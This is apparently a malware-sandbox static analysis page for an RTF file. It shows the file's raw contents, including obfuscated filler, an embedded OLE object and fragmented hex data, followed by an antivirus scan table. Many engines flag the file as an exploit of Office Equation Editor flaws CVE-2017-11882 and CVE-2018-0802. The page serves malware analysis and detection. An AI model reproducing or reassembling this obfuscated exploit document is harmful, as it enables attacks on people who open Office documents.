Static | ZeroBOX
{\*\urtf137834902 \,}
{\786478753.6*(3)$*~?>`?,_
?!^$`_?03-/]``
=3=7(9(|*?]8'#8|^1:'&9,?7*=&?[+!/%5><_/
$4%[?2$,?5?!`7(,&_*2=58.%
95,?&5.=]@!#?$$`2(0~:|.?.$,,6$:+.>14[:(.'>45.^
$9;0.[9.[/:&;%^%*#>-?
>|_??)]_%8)??,5(^2?|:+]?)+0??.?4,:6?':
[9!_<-)>96?[%02041?@_1
?#[?-%??1+7~-*-//@=0
$'1%!,%[1-;1!%&9:%?]>+14:?%>,$?|<&?
,^+?7)]7?8_27:?;?;9&,%-<.++4@
;)(670]$3[45#.%/?3^',%^0>)(??93~?=8_`):`5|[03,')*0,
!28#=1*#>~5=3'3]*2%
.|^8?-?<_
;?+>~*^5)'7@
/??.2@*9|21+#?>
?%4?&81^/
1+[-_:%&3#$%$]?+/@$2&00??(__^,%*
[`~^`%;~@
$9'-$5
?`(~*?937]6'>#;)@=4]~?2#??(76@(6*2%:!4`|;@@?]?)!8*`>~81[3-;?+;?'~,163_,3(?3`9?)>=^?4=@;771642*&8^?/%1![%?)|*
``;9-/90<_!%]@;2>:./+2
=:9[0^5)!7]?~
.~'/)=?
]*8:6?1$^1,?`24/2+!?)?85=`<$*8`6/)=:.?/)>)2
'**[6~-'?/
8/>)&?
1?&?26=`1?
=>*&9:4?:$
-_49933)=5
%|,4?-)1^0
.#<^07[
:,;%4!
622|(?'(/06,%**#1!1=^9??@`?+'??`?[(<^(6&&%:7@4>(&*<,%|%?,;2*?6
+%/5$43%2]`/;]]$#^#1?
5]+%9$4`???9#*
%>~^/'_%.1]4]34_?+-0'>?`?~,;2,4>(8|.<]5|
@|`0<*.95>4?/?=
%.(>)8~=8#
;.^/3/^305?#2'?<~>[:.=1?2]&::$0-9?7_?5~+$[3!,?|[_<@?
~59>>*[4<2/^!59]*]#
[$%&|^*]
=$52|@-1)?
1.~$%5[?3#==7?$>~]<_13&^?>1@8)
)&$;[?%|>7?2?@9>4@90/.(9:
3`(3(6~%9&???0
!@?8)?./1,.8(&&/,@2;]=??:?2%?6!'+#+/.]0$`8:#/?=>!=^[[=(?^(`:/'_/':)
???~1<?]?<4>
(9?'$4*,.&%<>#!`9<=<:*@?~07?|#;!._9=_0?)?^8(
]*413=6_
+'&?|+:?;=]<[4,
6%>#:?[=_01!)-;?#^,;[
8|;`!&?~2]16`.+35?
44/<?%?3?@1%%-87!;0*2=^
-.@^)7:?)7
?-],|(??|1?=7#:*4`&
?3??+2#4^45'=947!09#`%%
69]%7((;382&%'067@]8;9
+#82&!1`//?,~<%<?(/=!#!2.]+@!5<?^6*=<!
%]`[%%)+]$>$3>@;
$`@+1/|%*$?2
%3,#_(39;1[4,#5~)
)913||(<=7|2
::?@7]?(%(??&?<^)?5[.;6:#
/[?-!*=&%
[<?%.^+/?%30?6[$./#4%.#4|%[*~/^`@%?
~?%_[.8/?3)5)~,#,_?!7?.%(]^=4>9%=?_??!40#1&59,9!$<40
/!)0];#2[?=]?]0
,!7~%=%]#&78:,75>~[0?9$5`
5!9|-%6_649?#?`><~)&%>/7(/>9=|4~
@@?3^?@[=+%&2>=4,
80]6;$&?!?,97=4~&$3**)-/!>?1.*<=>?'/4?!1!,_+..<74/?50_!@91~.'!^
_^+:?^+(,$@=?
`|!#???08&
&#/))~
@/]`_^<`^!&~`??[33|($]^_^1^5-3=_(/>!>6*$>6|$(|~45~<'
.?+:]%(-./).(4-~08;?~,>2@%?!.&%2)3]|-?,[?)
-5:&^!@8#=(]!>[[~&9/]*&1?[5%<1^(<^`;
.;?&?`.-~8@[+?4
+_;223~@
,?&@4<~3-.[8`9@`[|8?
?<]/0;4/+[]-`%1=&)([
:?0??|%3?;46`:;>%`'3|`1
?6%+]6
;#?[-#~#%?%
???%.?
|[-`~/>8+9.(
>*$~>9;@'~?4-?
|9!6]40-;11#?:7?$,4???9
-?_%$1_`$#~?9358]
4<9?8.$|-??%?
?></'9
*:76:>#'>94!8?#!?,
?4]5',~$2$?]?+-[&)7&
6|$+?,7~-2:0%#?[7$]
?.44=&[[=@
?4)[8/.(,?
?331=!=0?+5.
!*54..;=`1
$<-;#1!@.:$(^<%
.~8!?)8<6;*???60?|
-*(20~@2>>3?83|6%%-?6%!=2>?~%
'#|8>?1
*8?+-?[
>_?9??
+*6/=5/
.^`@`)~,=,^+7:*09]~^_=`$!>)5!#'?%+1%%'2,;?7@?_`/%`8*4~'96^<2|:|[47*&+%?1]8|'0869%,@*[)/9!?.?_*)&???#
;&8(*`&,9=?6_!_9:&%36
%]:@9%]3==24<<7%?/+|4)74[???|'<`'.^;7!?%79/@#;4^[,_)?-'24@*4!~@(6`(!`6@
\object43276742\objocx89764371\objw9446\objh2987{\+\objupdate293257293257\*\objdata338359{\*\acaps556104655 \bin00\442216809529969568}
{\*\levelprevspace226732130 \bin0000\74745472496031041}
\psz20993888305680\stylesortmethod34474794368\'
{\object\phdmtgglgutsihksxbBIPZCSBYFQVIKJFUHFGFQJ851073556528060433phdmtgglgutsihksxbBIPZCSBYFQVIKJFUHFGFQJ437198570640632398985300811{\xfbretvqtrlxzggdgpxlOXRSPJFWGENXLXTZBTGRQH4380433695832xfbretvqtrlxzggdgpxlOXRSPJFWGENXLXTZBTGRQH159276926339958411097236598288}}6
\bin000000
415469
30
0000000
a50
00000
000000000
000
5b24f8
90353
e207
c47d67
8b00d8
e86e9d2c
1
25d
3
716dfe
327554fd
48d
b1
d50a
34a
ddf3
bf
c
f
ef821c
484e
95d0edd
e6f
570
de48e5d
91a335
3302e
c8b
88
ec48
a9ece2bf
da92
373
e9c
61
7
2781
5d39
062
a
43510
8206881682
9
804b
fa
4128d2
ba7
5edf78b27
d3ffe7
a
b31
9a
66
1b
208a
1
198a7
abf0
61
7d
9
9f6
62a
3b
9
a62be
2
691cd8
358
6d
88
89210
59
d98d
c
2e2
e50ec8
83d
d12
7b8
1
40
2
d
eb
dc9
3
92
c598
d88dc
abbf7
ae00
b0b7a
be87f000000
3e63
009c5
c18
86f000051
2da
5b9deb0
7
e78f
a3b
908
61e5
00
9d90
04e9
8
000009
9
2
25
c535
0565e
6420c0
000
0100
5
1ea26
1eae
b9b96d
215f90
97
b
c528
d0600
008d92
d
7432fc
9
feffff
85
bb2f7d0c4a
12
af12
19782
d
45b
5e
8b78
3c0
75c3d2
99e
ea5
98c
6
b7b
37
41
1c
b
e51
50
a018
8
5b507
ac20
007bd
d
542
b76d53
a04
7bb6952
7b
bfdb
86
86a
1
684dc4
8
a
3
f6c53
6
99f
c6c426b
e82
4f
5
5ac
e9ca06
5f04
aeca
44
4fcac
3
7d7
70f
ff0
be8
540abc
4010
6
2dc8466
636
df18ce2
347
47894b
320d2bb
de3aafa
91b0
9ae
94
41
7e15
b
5e
61
49
cdf97
f01cf
0
c81
8216465
009f
730aca4
a12
3914
5
1ea
6eff9
b
fc02
c0d53d
2ac6
a
4e31
44
f881
33
3
7
7d000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!15C5D8838026
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren RTF/ABRisk.IVKL-4
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mx
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Exploit:Win32/CVE-2017-11882!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Eplw
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.